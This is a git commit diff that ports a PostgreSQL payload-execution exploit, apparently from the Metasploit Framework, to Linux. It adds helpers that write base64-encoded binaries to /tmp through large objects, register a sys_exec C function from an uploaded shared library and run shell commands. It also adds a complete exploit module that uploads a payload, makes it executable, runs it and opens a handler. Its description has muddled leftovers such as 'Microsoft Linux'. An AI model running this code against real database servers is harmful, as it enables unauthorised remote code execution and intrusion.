Added linux port for postgres payload
parent
0a6e0b2415
commit
ad2b457fda
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -1,4 +1,3 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
@ -12,6 +11,7 @@ module Msf
|
|||
module Exploit::Remote::Postgres
|
||||
|
||||
require 'postgres_msf'
|
||||
require 'base64'
|
||||
include Msf::Db::PostgresPR
|
||||
attr_accessor :postgres_conn
|
||||
|
||||
|
@ -264,7 +264,7 @@ module Exploit::Remote::Postgres
|
|||
read_query = %Q{CREATE TEMP TABLE #{temp_table_name} (INPUT TEXT);
|
||||
COPY #{temp_table_name} FROM '#{filename}';
|
||||
SELECT * FROM #{temp_table_name}}
|
||||
read_return = postgres_query(read_query)
|
||||
read_return = postgres_query(read_query,true)
|
||||
end
|
||||
|
||||
def postgres_has_database_privilege(priv)
|
||||
|
@ -288,21 +288,35 @@ module Exploit::Remote::Postgres
|
|||
return true
|
||||
end
|
||||
|
||||
# Creates the function sys_exec() in the pg_temp schema.
|
||||
def postgres_create_sys_exec_linux(so)
|
||||
q = "create or replace function pg_temp.sys_exec(text) returns int4 as '#{so}', 'sys_exec' language C returns null on null input immutable"
|
||||
resp = postgres_query(q);
|
||||
if resp[:sql_error]
|
||||
print_error "Error creating pg_temp.sys_exec: #{resp[:sql_error]}"
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
|
||||
# This presumes the pg_temp.sys_exec() udf has been installed, almost
|
||||
# certainly by postgres_create_sys_exec()
|
||||
def postgres_sys_exec(cmd)
|
||||
print_status "Attempting to Execute: #{cmd}"
|
||||
q = "select pg_temp.sys_exec('#{cmd}')"
|
||||
resp = postgres_query(q)
|
||||
if resp[:sql_error]
|
||||
print_error resp[:sql_error]
|
||||
print_error "SQL Bomb #{resp[:sql_error]}"
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
|
||||
# Takes a local filename and uploads it into a table as a Base64 encoded string.
|
||||
# Returns an array if successful, false if not.
|
||||
def postgres_upload_binary_file(fname)
|
||||
def postgres_upload_binary_file_linux(fname)
|
||||
data = postgres_base64_file(fname)
|
||||
tbl,fld = postgres_create_stager_table
|
||||
return false unless data && tbl && fld
|
||||
|
@ -312,11 +326,87 @@ module Exploit::Remote::Postgres
|
|||
print_error resp[:sql_error]
|
||||
return false
|
||||
end
|
||||
oid, fout = postgres_write_data_to_disk(tbl,fld)
|
||||
oid, fout = postgres_write_data_to_disk_linux(tbl,fld)
|
||||
return false unless oid && fout
|
||||
return [tbl,fld,fout,oid]
|
||||
end
|
||||
|
||||
# Takes a local filename and uploads it into a table as a Base64 encoded string.
|
||||
# Returns an array if successful, false if not.
|
||||
def postgres_upload_binary_file(fname)
|
||||
data = postgres_base64_file(fname)
|
||||
tbl,fld = postgres_create_stager_table
|
||||
return false unless data && tbl && fld
|
||||
q = "insert into #{tbl}(#{fld}) values('#{data}')"
|
||||
resp = postgres_query(q)
|
||||
if resp[:sql_error]
|
||||
print_error resp[:sql_error]
|
||||
return false
|
||||
end
|
||||
oid, fout = postgres_write_data_to_disk(tbl,fld)
|
||||
return false unless oid && fout
|
||||
return [tbl,fld,fout,oid]
|
||||
end
|
||||
|
||||
def postgres_upload_binary_file_elf(fname)
|
||||
data = Base64.encode64(fname)
|
||||
tbl,fld = postgres_create_stager_table
|
||||
return false unless data && tbl && fld
|
||||
q = "insert into #{tbl}(#{fld}) values('#{data}')"
|
||||
resp = postgres_query(q)
|
||||
if resp[:sql_error]
|
||||
print_error resp[:sql_error]
|
||||
return false
|
||||
end
|
||||
oid, fout = postgres_write_data_to_disk_elf(tbl,fld)
|
||||
return false unless oid && fout
|
||||
return [tbl,fld,fout,oid]
|
||||
end
|
||||
|
||||
|
||||
|
||||
# Writes b64 data from a table field, decoded, to disk.
|
||||
def postgres_write_data_to_disk_elf(tbl,fld)
|
||||
oid = rand(60000) + 1000
|
||||
fname = "/tmp/" + Rex::Text::rand_text_alpha(8)
|
||||
queries = [
|
||||
"select lo_create(#{oid})",
|
||||
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
|
||||
"select lo_export(#{oid}, '#{fname}')"
|
||||
]
|
||||
queries.each do |q|
|
||||
resp = postgres_query(q)
|
||||
if resp && resp[:sql_error]
|
||||
print_error "Could not write the library to disk."
|
||||
print_error resp[:sql_error]
|
||||
break
|
||||
end
|
||||
end
|
||||
return oid,fname
|
||||
end
|
||||
|
||||
|
||||
# Writes b64 data from a table field, decoded, to disk.
|
||||
def postgres_write_data_to_disk_linux(tbl,fld)
|
||||
oid = rand(60000) + 1000
|
||||
fname = "/tmp/" + Rex::Text::rand_text_alpha(8) + ".so"
|
||||
queries = [
|
||||
"select lo_create(#{oid})",
|
||||
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
|
||||
"select lo_export(#{oid}, '#{fname}')"
|
||||
]
|
||||
queries.each do |q|
|
||||
resp = postgres_query(q)
|
||||
if resp && resp[:sql_error]
|
||||
print_error "Could not write the library to disk."
|
||||
print_error resp[:sql_error]
|
||||
break
|
||||
end
|
||||
end
|
||||
return oid,fname
|
||||
end
|
||||
|
||||
|
||||
# Writes b64 data from a table field, decoded, to disk.
|
||||
def postgres_write_data_to_disk(tbl,fld)
|
||||
oid = rand(60000) + 1000
|
||||
|
@ -343,6 +433,12 @@ module Exploit::Remote::Postgres
|
|||
[data].pack("m*").gsub(/\r?\n/,"")
|
||||
end
|
||||
|
||||
def postgres_base64_elf(data)
|
||||
#data = File.open(fname, "rb") {|f| f.read f.stat.size}
|
||||
[data].pack("m*").gsub(/\r?\n/,"")
|
||||
end
|
||||
|
||||
|
||||
# Creates a temporary table to store base64'ed binary data in.
|
||||
def postgres_create_stager_table
|
||||
tbl = Rex::Text.rand_text_alpha(8).downcase
|
||||
|
|
|
@ -0,0 +1,170 @@
|
|||
###
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Postgres
|
||||
|
||||
# Creates an instance of this module.
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'PostgreSQL for Microsoft Linux Payload Execution',
|
||||
'Description' => %q{
|
||||
This module creates and enables a custom UDF (user defined function) on the
|
||||
target host via the UPDATE pg_largeobject method of binary injection. On
|
||||
default Microsoft Linux installations of PostgreSQL (=< 8.4), the postgres
|
||||
service account may write to the Windows temp directory, and may source
|
||||
UDF Shared Libraries's from there as well.
|
||||
|
||||
PostgreSQL versions 8.2.x, 8.3.x, and 8.4.x on are valid targets for this module.
|
||||
|
||||
NOTE: This module will leave a payload executable on the target system when the
|
||||
attack is finished, as well as the UDF SO and the OID.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'todb' # this Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf',
|
||||
'URL', 'http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' # A litte more specific to PostgreSQL
|
||||
]
|
||||
],
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 0x65535,
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'perl',
|
||||
}
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ], # Confirmed on XXX
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Apr 10 2009' # Date of Bernardo's BH Europe paper.
|
||||
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('BITS',[true,'32/ 64 bit OS',32])
|
||||
],self.class)
|
||||
|
||||
|
||||
deregister_options('SQL', 'RETURN_ROWSET')
|
||||
end
|
||||
|
||||
# Buncha stuff to make typing easier.
|
||||
def username; datastore['USERNAME']; end
|
||||
def password; datastore['PASSWORD']; end
|
||||
def database; datastore['DATABASE']; end
|
||||
def verbose; datastore['VERBOSE']; end
|
||||
def rhost; datastore['RHOST']; end
|
||||
def rport; datastore['RPORT']; end
|
||||
def bits; datastore['BITS'];end
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
postgres_sys_exec(cmd)
|
||||
end
|
||||
|
||||
def exploit
|
||||
version = get_version(username,password,database,verbose)
|
||||
case version
|
||||
when :nocompat; print_error "Authentication successful, but not a compatable version."
|
||||
when :noauth; print_error "Authentication failed."
|
||||
when :noconn; print_error "Connection failed."
|
||||
end
|
||||
return unless version =~ /8\.[234]/
|
||||
print_status "Authentication successful and vulnerable version #{version} on Linux confirmed."
|
||||
tbl,fld,so,oid = postgres_upload_binary_file_linux(so_fname(version))
|
||||
unless tbl && fld && so && oid
|
||||
print_error "Could not upload the UDF SO"
|
||||
return
|
||||
end
|
||||
|
||||
print_status "Uploaded #{so} as OID #{oid} to table #{tbl}(#{fld})"
|
||||
ret_sys_exec = postgres_create_sys_exec_linux(so)
|
||||
if ret_sys_exec
|
||||
if @postgres_conn
|
||||
print_status "Success"
|
||||
|
||||
tbl,fld,myexploit,oid = postgres_upload_binary_file_elf("#!/bin/sh\n" + payload.encode)
|
||||
unless tbl && fld && myexploit && oid
|
||||
print_error "Could not upload the PAYLOAD"
|
||||
return
|
||||
end
|
||||
print_status "Uploaded #{myexploit} as OID #{oid} to table #{tbl}(#{fld})"
|
||||
postgres_sys_exec("chmod 755 #{myexploit}")
|
||||
postgres_sys_exec("#{myexploit}")
|
||||
handler
|
||||
postgres_logout if @postgres_conn
|
||||
else
|
||||
print_error "Lost connection."
|
||||
return
|
||||
end
|
||||
end
|
||||
postgres_logout if @postgres_conn
|
||||
|
||||
end
|
||||
|
||||
def so_fname(version)
|
||||
print_status "Using #{version}/#{bits}/lib_postgresqludf_sys.so"
|
||||
File.join(Msf::Config.install_root,"data","exploits","postgres",version,bits,"lib_postgresqludf_sys.so")
|
||||
end
|
||||
|
||||
# A shorter version of do_fingerprint from the postgres_version scanner
|
||||
# module, specifically looking for versions that valid targets for this
|
||||
# module.
|
||||
def get_version(user=nil,pass=nil,database=nil,verbose=false)
|
||||
begin
|
||||
msg = "#{rhost}:#{rport} Postgres -"
|
||||
password = pass || postgres_password
|
||||
vprint_status("Trying username:'#{user}' with password:'#{password}' against #{rhost}:#{rport} on database '#{database}'")
|
||||
result = postgres_fingerprint(
|
||||
:db => database,
|
||||
:username => user,
|
||||
:password => password
|
||||
)
|
||||
if result[:auth]
|
||||
# So, the only versions we have DLL binaries for are PostgreSQL 8.2, 8.3, and 8.4
|
||||
# This also checks to see if it was compiled with a windows-based compiler --
|
||||
# the stock Postgresql downloads are Visual C++ for 8.4 and 8.3, and GCC for mingw)
|
||||
# Also, the method to write files to disk doesn't appear to work on 9.0, so
|
||||
# tabling that version for now.
|
||||
#if result[:auth] =~ /PostgreSQL (8\.[234]).*(Visual C\+\+|mingw|cygwin)/i
|
||||
if result[:auth] =~ /PostgreSQL (8\.[234]).*/i
|
||||
return $1
|
||||
else
|
||||
print_status "Found #{result[:auth]}"
|
||||
return :nocompat
|
||||
end
|
||||
else
|
||||
return :noauth
|
||||
end
|
||||
rescue Rex::ConnectionError
|
||||
vprint_error "#{rhost}:#{rport} Connection Error: #{$!}"
|
||||
return :noconn
|
||||
end
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue